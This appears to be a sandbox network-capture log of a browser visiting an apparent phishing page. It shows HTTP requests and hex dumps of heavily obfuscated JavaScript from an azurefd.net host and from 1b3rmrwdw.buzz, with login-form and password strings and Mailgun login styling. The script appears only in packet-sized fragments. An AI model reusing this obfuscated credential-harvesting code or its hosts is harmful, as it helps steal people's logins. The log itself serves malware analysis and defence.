Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	13.107.246.42	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:41 UTC	686	OUT	GET / HTTP/1.1 Host: 9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:41 UTC	443	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 12:38:41 GMT Content-Type: text/html Content-Length: 61065 Connection: close Content-MD5: sgMwXVjNphuqVAtGHiq6ZA== Last-Modified: Tue, 02 Jul 2024 16:56:38 GMT ETag: "0x8DC9AB7F04FDAB9" x-ms-request-id: d2eef673-401e-0000-5945-cd420d000000 x-ms-version: 2018-03-28 x-azure-ref: 20240703T123841Z-157bfc59976d2vnn3t284pk5sn0000000etg00000000ee6m X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-07-03 12:38:41 UTC	15941	IN	Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 6a 61 76 61 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 63 35 64 35 31 2c 5f 30 78 34 62 38 38 66 33 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 39 38 34 66 30 28 5f 30 78 31 36 30 33 37 62 2c 5f 30 78 35 61 38 34 63 31 2c 5f 30 78 34 64 30 64 61 61 2c 5f 30 78 31 65 33 37 33 39 2c 5f 30 78 66 31 34 36 35 62 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 31 34 64 28 5f 30 78 66 31 34 36 35 62 2d 30 78 32 31 34 2c 5f 30 78 34 64 30 64 61 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 39 34 32 38 33 28 5f 30 78 34 36 35 62 35 36 2c 5f 30 78 32 36 66 39 63 65 2c 5f 30 78 35 36 34 61 62 30 2c 5f 30 78 32 32 63 62 64 65 2c 5f 30 78 33 63 38 61 66 65 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 31 34 Data Ascii: <script language=javascript>(function(_0x1c5d51,_0x4b88f3){function _0x5984f0(_0x16037b,_0x5a84c1,_0x4d0daa,_0x1e3739,_0xf1465b){return _0x414d(_0xf1465b-0x214,_0x4d0daa);}function _0x494283(_0x465b56,_0x26f9ce,_0x564ab0,_0x22cbde,_0x3c8afe){return _0x414
2024-07-03 12:38:41 UTC	71	IN	Data Raw: 64 65 34 31 5b 5f 30 78 33 66 64 64 64 36 28 2d 30 78 36 39 2c 2d 30 78 64 35 2c 2d 30 78 33 32 2c 2d 30 78 38 36 2c 2d 30 78 61 65 29 5d 28 5f 30 78 31 34 61 35 32 35 2c 5f 30 78 34 61 64 65 34 31 5b 5f 30 78 33 Data Ascii: de41[_0x3fddd6(-0x69,-0xd5,-0x32,-0x86,-0xae)](_0x14a525,_0x4ade41[_0x3
2024-07-03 12:38:41 UTC	16384	IN	Data Raw: 30 63 62 39 63 28 30 78 32 30 33 2c 30 78 31 37 65 2c 30 78 32 31 61 2c 30 78 31 64 36 2c 30 78 31 39 63 29 5d 29 29 7c 7c 21 5f 30 78 35 34 39 37 62 35 5b 5f 30 78 33 66 64 64 64 36 28 2d 30 78 38 62 2c 30 78 34 2c 2d 30 78 35 38 2c 2d 30 78 31 38 2c 2d 30 78 33 61 29 5d 28 5f 30 78 34 61 64 65 34 31 5b 5f 30 78 32 63 66 61 34 62 28 30 78 31 63 31 2c 30 78 31 39 34 2c 30 78 32 33 34 2c 30 78 31 66 63 2c 30 78 32 37 65 29 5d 28 5f 30 78 31 34 61 35 32 35 2c 5f 30 78 34 61 64 65 34 31 5b 5f 30 78 33 66 64 64 64 36 28 2d 30 78 34 39 2c 2d 30 78 61 63 2c 2d 30 78 37 35 2c 30 78 32 65 2c 2d 30 78 64 37 29 5d 29 29 3f 5f 30 78 34 61 64 65 34 31 5b 5f 30 78 32 63 66 61 34 62 28 30 78 31 33 34 2c 30 78 31 64 39 2c 30 78 32 31 35 2c 30 78 31 64 30 2c 30 78 32 34 Data Ascii: 0cb9c(0x203,0x17e,0x21a,0x1d6,0x19c)]))\|\|!_0x5497b5[_0x3fddd6(-0x8b,0x4,-0x58,-0x18,-0x3a)](_0x4ade41[_0x2cfa4b(0x1c1,0x194,0x234,0x1fc,0x27e)](_0x14a525,_0x4ade41[_0x3fddd6(-0x49,-0xac,-0x75,0x2e,-0xd7)]))?_0x4ade41[_0x2cfa4b(0x134,0x1d9,0x215,0x1d0,0x24
2024-07-03 12:38:41 UTC	16384	IN	Data Raw: 63 29 5d 28 5f 30 78 32 38 32 33 32 33 2c 27 30 27 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 34 61 34 34 62 36 5b 5f 30 78 31 34 34 66 66 38 28 30 78 33 34 2c 30 78 33 31 2c 30 78 34 37 2c 2d 30 78 32 34 2c 30 78 37 37 29 5d 28 5f 30 78 34 61 34 34 62 36 5b 5f 30 78 34 36 61 37 33 33 28 30 78 31 39 30 2c 30 78 31 39 39 2c 30 78 31 62 33 2c 30 78 31 31 33 2c 30 78 31 37 62 29 5d 2c 5f 30 78 34 61 34 34 62 36 5b 5f 30 78 34 36 61 37 33 33 28 30 78 31 39 37 2c 30 78 31 39 66 2c 30 78 31 36 62 2c 30 78 31 31 65 2c 30 78 31 32 32 29 5d 29 29 5f 30 78 34 61 34 34 62 36 5b 5f 30 78 35 33 63 35 66 63 28 30 78 32 30 34 2c 30 78 32 35 66 2c 30 78 31 65 64 2c 30 78 32 39 64 2c 30 78 32 30 33 29 5d 28 5f 30 78 33 31 61 32 34 66 29 3b 65 6c 73 65 7b 69 66 28 5f 30 78 Data Ascii: c)](_0x282323,'0');}else{if(_0x4a44b6[_0x144ff8(0x34,0x31,0x47,-0x24,0x77)](_0x4a44b6[_0x46a733(0x190,0x199,0x1b3,0x113,0x17b)],_0x4a44b6[_0x46a733(0x197,0x19f,0x16b,0x11e,0x122)]))_0x4a44b6[_0x53c5fc(0x204,0x25f,0x1ed,0x29d,0x203)](_0x31a24f);else{if(_0x
2024-07-03 12:38:41 UTC	12285	IN	Data Raw: 39 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 30 39 62 37 61 2b 5f 30 78 32 32 62 66 31 39 3b 7d 2c 27 6a 4a 66 76 76 27 3a 5f 30 78 33 34 65 32 36 30 28 30 78 34 62 61 2c 30 78 34 35 61 2c 30 78 34 66 65 2c 30 78 34 61 38 2c 30 78 34 37 35 29 2b 27 6e 27 2c 27 51 65 56 46 58 27 3a 5f 30 78 33 34 65 32 36 30 28 30 78 33 65 65 2c 30 78 34 31 63 2c 30 78 34 36 64 2c 30 78 33 66 32 2c 30 78 34 38 35 29 2c 27 58 6e 4e 79 64 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 61 37 65 33 39 2c 5f 30 78 34 64 36 64 37 62 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 61 37 65 33 39 2b 5f 30 78 34 64 36 64 37 62 3b 7d 2c 27 4d 50 68 44 52 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 33 32 36 34 63 2c 5f 30 78 34 65 64 63 32 64 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 33 32 36 34 63 Data Ascii: 9){return _0x209b7a+_0x22bf19;},'jJfvv':_0x34e260(0x4ba,0x45a,0x4fe,0x4a8,0x475)+'n','QeVFX':_0x34e260(0x3ee,0x41c,0x46d,0x3f2,0x485),'XnNyd':function(_0x3a7e39,_0x4d6d7b){return _0x3a7e39+_0x4d6d7b;},'MPhDR':function(_0x23264c,_0x4edc2d){return _0x23264c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	142.11.212.118	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:42 UTC	641	OUT	GET /gun/index.js HTTP/1.1 Host: 1b3rmrwdw.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:42 UTC	341	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 12:38:43 GMT Content-Type: application/javascript Content-Length: 267172 Last-Modified: Tue, 02 Jul 2024 16:42:53 GMT Connection: close Vary: Accept-Encoding ETag: "66842e0d-413a4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-07-03 12:38:42 UTC	16043	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 30 65 38 28 29 7b 76 61 72 20 5f 30 78 37 64 39 32 65 31 3d 5b 27 25 33 43 2f 69 27 2c 27 65 77 69 66 74 27 2c 27 2f 6c 61 62 65 27 2c 27 63 73 2e 6d 69 27 2c 27 6e 5f 69 64 25 27 2c 27 69 4f 6e 52 79 27 2c 27 6f 72 65 25 32 27 2c 27 68 38 78 67 4f 27 2c 27 6e 69 73 68 25 27 2c 27 73 69 6e 63 68 27 2c 27 35 32 46 43 25 27 2c 27 65 64 25 32 30 27 2c 27 61 6c 65 25 33 27 2c 27 42 63 76 25 33 27 2c 27 63 6f 6e 73 6f 27 2c 27 66 66 66 25 32 27 2c 27 25 32 30 79 6f 27 2c 27 69 65 77 74 68 27 2c 27 5f 77 25 33 44 27 2c 27 32 74 65 78 74 27 2c 27 2d 6d 65 25 32 27 2c 27 75 6e 25 32 30 27 2c 27 55 49 73 50 78 27 2c 27 65 25 32 30 65 27 2c 27 33 43 69 66 72 27 2c 27 61 73 73 25 33 27 2c 27 44 36 34 25 32 27 2c 27 49 7a 72 70 Data Ascii: function _0x30e8(){var _0x7d92e1=['%3C/i','ewift','/labe','cs.mi','n_id%','iOnRy','ore%2','h8xgO','nish%','sinch','52FC%','ed%20','ale%3','Bcv%3','conso','fff%2','%20yo','iewth','_w%3D','2text','-me%2','un%20','UIsPx','e%20e','3Cifr','ass%3','D64%2','Izrp
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 69 64 74 27 2c 27 30 53 69 6e 63 27 2c 27 72 61 6e 64 6f 27 2c 27 30 61 63 74 69 27 2c 27 2d 65 71 75 69 27 2c 27 66 37 25 32 36 27 2c 27 31 33 2e 30 2e 27 2c 27 25 32 32 41 79 27 2c 27 4a 36 25 32 32 27 2c 27 67 69 6e 2f 73 27 2c 27 32 25 32 30 68 27 2c 27 45 25 33 43 69 27 2c 27 74 72 61 74 69 27 2c 27 25 32 30 74 68 27 2c 27 73 73 25 33 44 27 2c 27 32 25 33 45 57 27 2c 27 68 74 2e 6d 69 27 2c 27 69 6d 61 67 65 27 2c 27 79 25 32 32 25 27 2c 27 61 69 6e 65 72 27 2c 27 50 44 66 71 68 27 2c 27 74 65 72 6d 73 27 2c 27 6c 61 6e 6b 25 27 2c 27 50 61 73 73 77 27 2c 27 44 25 32 32 66 27 2c 27 74 65 78 74 2f 27 2c 27 63 6f 75 6e 74 27 2c 27 6f 69 55 48 4a 27 2c 27 41 53 6a 79 55 27 2c 27 72 25 32 30 68 27 2c 27 67 25 32 32 25 27 2c 27 39 2e 31 30 34 27 2c 27 43 Data Ascii: idt','0Sinc','rando','0acti','-equi','f7%26','13.0.','%22Ay','J6%22','gin/s','2%20h','E%3Ci','trati','%20th','ss%3D','2%3EW','ht.mi','image','y%22%','ainer','PDfqh','terms','lank%','Passw','D%22f','text/','count','oiUHJ','ASjyU','r%20h','g%22%','9.104','C
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 5f 30 78 33 38 62 36 34 39 28 5f 30 78 34 37 38 30 33 38 2c 5f 30 78 33 66 36 65 38 37 2c 5f 30 78 33 62 63 30 35 63 2c 5f 30 78 35 32 35 35 35 61 2c 5f 30 78 64 64 64 62 66 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 30 65 64 63 30 28 5f 30 78 34 37 38 30 33 38 2d 30 78 31 33 34 2c 5f 30 78 64 64 64 62 66 36 2d 30 78 62 39 2c 5f 30 78 33 62 63 30 35 63 2d 30 78 63 37 2c 5f 30 78 35 32 35 35 35 61 2d 30 78 31 64 66 2c 5f 30 78 33 66 36 65 38 37 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 39 34 63 36 36 28 5f 30 78 34 63 35 63 33 33 2c 5f 30 78 32 62 66 65 33 38 2c 5f 30 78 33 35 63 65 38 65 2c 5f 30 78 31 65 38 62 66 36 2c 5f 30 78 33 63 62 34 37 64 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 65 38 61 65 39 28 5f 30 78 32 62 66 65 33 Data Ascii: unction _0x38b649(_0x478038,_0x3f6e87,_0x3bc05c,_0x52555a,_0xdddbf6){return _0x20edc0(_0x478038-0x134,_0xdddbf6-0xb9,_0x3bc05c-0xc7,_0x52555a-0x1df,_0x3f6e87);}function _0x194c66(_0x4c5c33,_0x2bfe38,_0x35ce8e,_0x1e8bf6,_0x3cb47d){return _0x5e8ae9(_0x2bfe3
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 61 28 30 78 34 66 63 2c 30 78 31 31 31 2c 30 78 32 61 65 2c 30 78 34 38 33 2c 30 78 34 38 61 29 5d 28 5f 30 78 33 63 33 31 31 65 5b 5f 30 78 33 38 62 39 36 39 28 2d 30 78 64 30 2c 30 78 31 35 33 2c 30 78 32 38 66 2c 2d 30 78 33 63 65 2c 30 78 31 64 35 29 5d 2c 5f 30 78 33 63 33 31 31 65 5b 5f 30 78 35 30 31 65 36 61 28 30 78 39 39 2c 30 78 33 37 63 2c 30 78 32 39 39 2c 30 78 32 62 30 2c 2d 30 78 37 37 29 5d 29 2c 27 29 3b 27 29 29 28 29 3b 65 6c 73 65 7b 69 66 28 5f 30 78 32 62 64 37 30 39 29 7b 69 66 28 5f 30 78 32 30 34 66 65 33 5b 5f 30 78 33 63 38 30 37 39 28 30 78 34 37 35 2c 30 78 32 62 35 2c 30 78 33 62 66 2c 30 78 32 36 31 2c 30 78 32 66 33 29 5d 28 5f 30 78 32 30 34 66 65 33 5b 5f 30 78 35 30 31 65 36 61 28 30 78 35 62 34 2c 30 78 37 64 31 2c 30 Data Ascii: a(0x4fc,0x111,0x2ae,0x483,0x48a)](_0x3c311e[_0x38b969(-0xd0,0x153,0x28f,-0x3ce,0x1d5)],_0x3c311e[_0x501e6a(0x99,0x37c,0x299,0x2b0,-0x77)]),');'))();else{if(_0x2bd709){if(_0x204fe3[_0x3c8079(0x475,0x2b5,0x3bf,0x261,0x2f3)](_0x204fe3[_0x501e6a(0x5b4,0x7d1,0
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 39 28 30 78 31 65 2c 30 78 61 64 2c 2d 30 78 31 66 61 2c 2d 30 78 64 35 2c 30 78 66 38 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 33 30 35 2c 30 78 31 36 37 2c 2d 30 78 38 66 2c 30 78 33 37 63 2c 2d 30 78 31 63 29 2b 5f 30 78 32 35 65 39 64 39 28 2d 30 78 38 36 2c 30 78 34 63 34 2c 30 78 34 38 62 2c 30 78 33 32 32 2c 30 78 31 39 66 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 39 65 30 2c 30 78 33 31 39 2c 30 78 39 63 34 2c 30 78 36 66 35 2c 30 78 37 30 36 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 63 38 64 2c 30 78 63 38 65 2c 30 78 64 64 36 2c 30 78 61 30 66 2c 30 78 63 32 61 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 33 33 63 2c 2d 30 78 36 37 2c 30 78 36 30 30 2c 30 78 33 36 36 2c 2d 30 78 61 39 29 2b 5f 30 78 32 30 30 35 61 65 28 30 78 35 32 32 2c 30 78 34 Data Ascii: 9(0x1e,0xad,-0x1fa,-0xd5,0xf8)+_0x357f63(0x305,0x167,-0x8f,0x37c,-0x1c)+_0x25e9d9(-0x86,0x4c4,0x48b,0x322,0x19f)+_0x357f63(0x9e0,0x319,0x9c4,0x6f5,0x706)+_0x357f63(0xc8d,0xc8e,0xdd6,0xa0f,0xc2a)+_0x357f63(0x33c,-0x67,0x600,0x366,-0xa9)+_0x2005ae(0x522,0x4
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 39 66 31 2c 30 78 39 35 37 2c 30 78 36 38 61 2c 30 78 38 37 63 2c 30 78 36 33 64 29 2b 5f 30 78 35 64 37 32 65 61 28 2d 30 78 36 34 2c 2d 30 78 33 31 30 2c 2d 30 78 65 39 2c 30 78 35 30 2c 2d 30 78 33 61 31 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 62 38 31 2c 30 78 39 38 37 2c 30 78 63 30 38 2c 30 78 36 64 36 2c 30 78 38 34 31 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 34 66 30 2c 30 78 37 39 65 2c 30 78 34 61 65 2c 30 78 33 61 65 2c 30 78 33 39 36 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 34 64 66 2c 30 78 62 33 64 2c 30 78 61 63 38 2c 30 78 38 30 30 2c 30 78 36 64 36 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 61 66 39 2c 30 78 36 38 39 2c 30 78 39 64 39 2c 30 78 35 65 33 2c 30 78 38 31 65 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 62 31 31 2c 30 78 62 34 Data Ascii: 9f1,0x957,0x68a,0x87c,0x63d)+_0x5d72ea(-0x64,-0x310,-0xe9,0x50,-0x3a1)+_0x14cd70(0xb81,0x987,0xc08,0x6d6,0x841)+_0x5d72ea(0x4f0,0x79e,0x4ae,0x3ae,0x396)+_0x357f63(0x4df,0xb3d,0xac8,0x800,0x6d6)+_0x14cd70(0xaf9,0x689,0x9d9,0x5e3,0x81e)+_0x357f63(0xb11,0xb4
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 39 28 30 78 33 35 32 2c 30 78 65 31 2c 30 78 31 36 61 2c 30 78 32 32 64 2c 30 78 32 64 30 29 2b 5f 30 78 32 30 30 35 61 65 28 30 78 31 66 31 2c 30 78 35 36 33 2c 30 78 37 62 31 2c 30 78 35 61 61 2c 30 78 32 64 38 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 32 65 65 2c 2d 30 78 66 65 2c 2d 30 78 36 66 2c 30 78 32 35 39 2c 30 78 31 32 38 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 33 61 37 2c 30 78 61 64 30 2c 30 78 38 30 66 2c 30 78 33 32 37 2c 30 78 37 30 62 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 34 64 36 2c 30 78 35 38 30 2c 30 78 33 38 34 2c 30 78 35 63 30 2c 30 78 38 36 29 2b 5f 30 78 32 35 65 39 64 39 28 30 78 35 39 61 2c 2d 30 78 31 36 39 2c 30 78 36 36 2c 30 78 32 30 38 2c 30 78 32 38 30 29 2b 5f 30 78 32 30 30 35 61 65 28 30 78 39 66 37 2c 30 78 61 Data Ascii: 9(0x352,0xe1,0x16a,0x22d,0x2d0)+_0x2005ae(0x1f1,0x563,0x7b1,0x5aa,0x2d8)+_0x5d72ea(0x2ee,-0xfe,-0x6f,0x259,0x128)+_0x14cd70(0x3a7,0xad0,0x80f,0x327,0x70b)+_0x5d72ea(0x4d6,0x580,0x384,0x5c0,0x86)+_0x25e9d9(0x59a,-0x169,0x66,0x208,0x280)+_0x2005ae(0x9f7,0xa
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 64 37 32 65 61 28 30 78 34 63 61 2c 30 78 31 33 31 2c 30 78 33 33 35 2c 30 78 31 30 66 2c 30 78 65 30 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 31 36 39 2c 30 78 36 2c 30 78 35 36 65 2c 30 78 32 37 65 2c 30 78 33 34 38 29 2b 5f 30 78 32 35 65 39 64 39 28 30 78 31 39 32 2c 30 78 33 33 38 2c 30 78 32 61 39 2c 30 78 34 31 38 2c 30 78 37 36 63 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 33 37 64 2c 2d 30 78 32 35 64 2c 30 78 61 62 2c 30 78 36 65 2c 30 78 36 38 29 2b 5f 30 78 32 35 65 39 64 39 28 2d 30 78 33 37 32 2c 2d 30 78 33 65 39 2c 2d 30 78 31 36 2c 2d 30 78 65 32 2c 2d 30 78 31 66 36 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 33 34 35 2c 30 78 35 31 31 2c 30 78 39 35 2c 30 78 31 30 64 2c 30 78 32 30 36 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 36 35 32 2c Data Ascii: d72ea(0x4ca,0x131,0x335,0x10f,0xe0)+_0x14cd70(0x169,0x6,0x56e,0x27e,0x348)+_0x25e9d9(0x192,0x338,0x2a9,0x418,0x76c)+_0x14cd70(0x37d,-0x25d,0xab,0x6e,0x68)+_0x25e9d9(-0x372,-0x3e9,-0x16,-0xe2,-0x1f6)+_0x14cd70(0x345,0x511,0x95,0x10d,0x206)+_0x5d72ea(0x652,
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 78 33 35 37 66 36 33 28 30 78 64 34 33 2c 30 78 63 30 39 2c 30 78 61 64 37 2c 30 78 62 33 33 2c 30 78 62 39 30 29 2b 5f 30 78 33 35 37 66 36 33 28 30 78 36 63 32 2c 30 78 33 36 61 2c 30 78 38 34 34 2c 30 78 37 37 36 2c 30 78 33 66 64 29 2b 5f 30 78 32 35 65 39 64 39 28 2d 30 78 32 66 30 2c 30 78 33 30 36 2c 2d 30 78 33 61 64 2c 2d 30 78 35 32 2c 2d 30 78 34 35 34 29 2b 5f 30 78 32 35 65 39 64 39 28 30 78 38 63 30 2c 30 78 31 65 64 2c 30 78 32 36 62 2c 30 78 35 37 66 2c 30 78 38 39 31 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 35 31 31 2c 30 78 34 66 62 2c 30 78 32 37 65 2c 30 78 32 33 36 2c 30 78 33 62 37 29 2b 5f 30 78 32 35 65 39 64 39 28 2d 30 78 33 63 65 2c 30 78 31 64 64 2c 2d 30 78 33 30 2c 2d 30 78 35 32 2c 2d 30 78 34 34 62 29 2b 5f 30 78 33 35 37 Data Ascii: x357f63(0xd43,0xc09,0xad7,0xb33,0xb90)+_0x357f63(0x6c2,0x36a,0x844,0x776,0x3fd)+_0x25e9d9(-0x2f0,0x306,-0x3ad,-0x52,-0x454)+_0x25e9d9(0x8c0,0x1ed,0x26b,0x57f,0x891)+_0x5d72ea(0x511,0x4fb,0x27e,0x236,0x3b7)+_0x25e9d9(-0x3ce,0x1dd,-0x30,-0x52,-0x44b)+_0x357
2024-07-03 12:38:42 UTC	16384	IN	Data Raw: 30 78 35 31 61 2c 30 78 32 34 38 29 2b 5f 30 78 32 30 30 35 61 65 28 30 78 36 33 65 2c 2d 30 78 39 39 2c 30 78 32 39 36 2c 30 78 32 35 38 2c 2d 30 78 32 64 29 2b 5f 30 78 31 34 63 64 37 30 28 30 78 39 32 35 2c 30 78 32 63 31 2c 30 78 39 37 31 2c 30 78 33 65 30 2c 30 78 36 30 61 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 31 33 38 2c 30 78 39 65 2c 30 78 33 66 64 2c 30 78 31 36 38 2c 30 78 36 38 33 29 2b 5f 30 78 35 64 37 32 65 61 28 2d 30 78 33 63 33 2c 2d 30 78 32 66 35 2c 2d 30 78 64 33 2c 30 78 32 34 64 2c 2d 30 78 65 34 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 39 31 66 2c 30 78 32 66 66 2c 30 78 35 66 34 2c 30 78 32 66 34 2c 30 78 38 39 64 29 2b 5f 30 78 35 64 37 32 65 61 28 30 78 34 31 39 2c 2d 30 78 32 32 2c 30 78 31 63 32 2c 30 78 32 32 61 2c 30 78 Data Ascii: 0x51a,0x248)+_0x2005ae(0x63e,-0x99,0x296,0x258,-0x2d)+_0x14cd70(0x925,0x2c1,0x971,0x3e0,0x60a)+_0x5d72ea(0x138,0x9e,0x3fd,0x168,0x683)+_0x5d72ea(-0x3c3,-0x2f5,-0xd3,0x24d,-0xe4)+_0x5d72ea(0x91f,0x2ff,0x5f4,0x2f4,0x89d)+_0x5d72ea(0x419,-0x22,0x1c2,0x22a,0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 12:38:43 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=99127 Date: Wed, 03 Jul 2024 12:38:43 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49726	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	588	OUT	GET /login/static/style.css?v=1.0.0 HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:44 UTC	420	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=style.css Content-Length: 12089 Content-Type: text/css; charset=utf-8 Date: Wed, 03 Jul 2024 12:38:44 GMT Etag: "1718130172.0-12089-376774563" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:44 UTC	759	IN	Data Raw: 2f 2a 20 73 6f 75 72 63 65 2d 73 65 72 69 66 2d 70 72 6f 2d 36 30 30 20 2d 20 6c 61 74 69 6e 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 53 6f 75 72 63 65 20 53 65 72 69 66 20 50 72 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 73 6f 75 72 63 65 2d 73 65 72 69 66 2d 70 72 6f 2d 76 31 31 2d 6c 61 74 69 6e 2d 36 30 30 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 0a 7d 0a 0a 2f 2a 20 73 6f 75 72 63 65 2d 73 65 72 69 66 2d 70 72 6f 2d 37 30 30 20 2d 20 6c 61 74 69 6e 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 Data Ascii: /* source-serif-pro-600 - latin /@font-face { font-family: 'Source Serif Pro'; font-style: normal; font-weight: 600; src: url('source-serif-pro-v11-latin-600.woff') format('woff');}/ source-serif-pro-700 - latin */@font-face { font-family
